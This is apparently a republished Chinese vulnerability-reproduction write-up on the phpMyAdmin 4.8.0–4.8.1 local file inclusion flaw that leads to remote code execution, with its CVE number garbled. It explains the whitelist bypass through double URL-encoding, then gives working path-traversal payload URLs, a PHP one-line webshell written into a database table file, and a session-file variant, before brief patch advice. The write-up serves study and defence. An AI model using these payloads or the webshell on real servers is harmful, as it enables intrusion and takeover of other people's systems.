700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > CVE--12613 --- 本地文件包含造成远程代码执行漏洞复现

CVE--12613 --- 本地文件包含造成远程代码执行漏洞复现

时间:2020-08-17 11:56:42

相关推荐

CVE--12613 --- 本地文件包含造成远程代码执行漏洞复现

0x01 了解本地文件包含

LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

0x02 了解远程代码执行

RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

0x03 漏洞影响版本

Phpmyadmin Phpmyadmin 4.8.0Phpmyadmin Phpmyadmin 4.8.0.1Phpmyadmin Phpmyadmin 4.8.1

0x04 了解PHPmyadmin

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻击者可利用该漏洞包含(查看并可能执行)服务器上的文件。

0x05 漏洞起因

index.php,61行

这里的target可以直接传值输入,我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。

要想成功包含target,需要满足五个条件:

非空是字符串不以index开头不在黑名单target_blacklist中符合函数checkPageValidity的验证

接下来跟进checkPageValidity函数

phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行

可以看到,要想使该函数返回true,包含的文件必须包含在白名单$whitelist中,

下面是白名单$whitelist的内容:

phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行

所以只要包含其中之一即可。

第一个返回true的地方,page参数未做任何修饰,直接验证是否在白名单whitelist中,无法利用

第二个返回true的地方,

函数mb_substr说明

函数mb_strpos说明

即判断?后面的字符串是否满足白名单,那么我们是否可以利用跨路径来包含文件呢?比如xxx.php?/../../../,(这里的xxx.php当然指的就是上面提到的白名单$whitelist的内容),回答是不能的,因为在PHP中会把?后面的内容作为文件xxx.php中的参数,因此不能绕过。

第三个返回true的地方,

与第二处的区别就是多了urldecode函数,问题就出在这里了。

上面提到的导致不能绕过白名单的原因就是的缘故,所以这里用url全编码方式对进行编码就可以绕过。

payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini

include $_REQUEST[‘target’];

就变成

include ‘export.php%3f/../../../../../../../../../windows/system.ini'

0x06 利用方式

0x01 利用数据库创建shell

测试发现,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的。

登录phpmyadmin,在test数据库新建一个数据表,字段为一句话木马:

<?php @eval($_GET['s']);?>

保存。

查询生成文件的绝对路径

show variables like '%datadir%';

查看生成的.frm文件,shell已经成功写入

利用本地文件包含去包含/bin/mysql/data/test/shell.frm文件即可RCE。

payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm

s为一句话木马的连接密码,

可以看到,RCE已经成功。

0x02 利用session文件创建shell

执行sql语句,查看session

生成的session文件

执行payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k,成功执行

0x07 修复建议

升级版本;checkPageValidity函数返回false

index.php,59

phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行

0x08 参考文章

https://mp./s/HZcS2HdUtqz10jUEN57aog/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。